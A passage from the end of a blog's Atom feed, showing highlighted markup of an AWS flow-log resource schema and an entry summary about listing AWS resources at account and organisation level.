class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;MaxAggregationInterval&quot;</span> <span class="hljs-punctuation">:</span> Integer<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;ResourceId&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;ResourceType&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;Tags&quot;</span> <span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span> Tag<span class="hljs-punctuation">,</span> ... <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;TrafficType&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">&#125;</span></code></pre>]]></content>
    
    
    <summary type="html">List AWS resources account-level and organisation-level</summary>
    
    
    
    <category term="aws" scheme="https://mdleom.com/tags/aws/"/>
    
  </entry>
  
</feed>
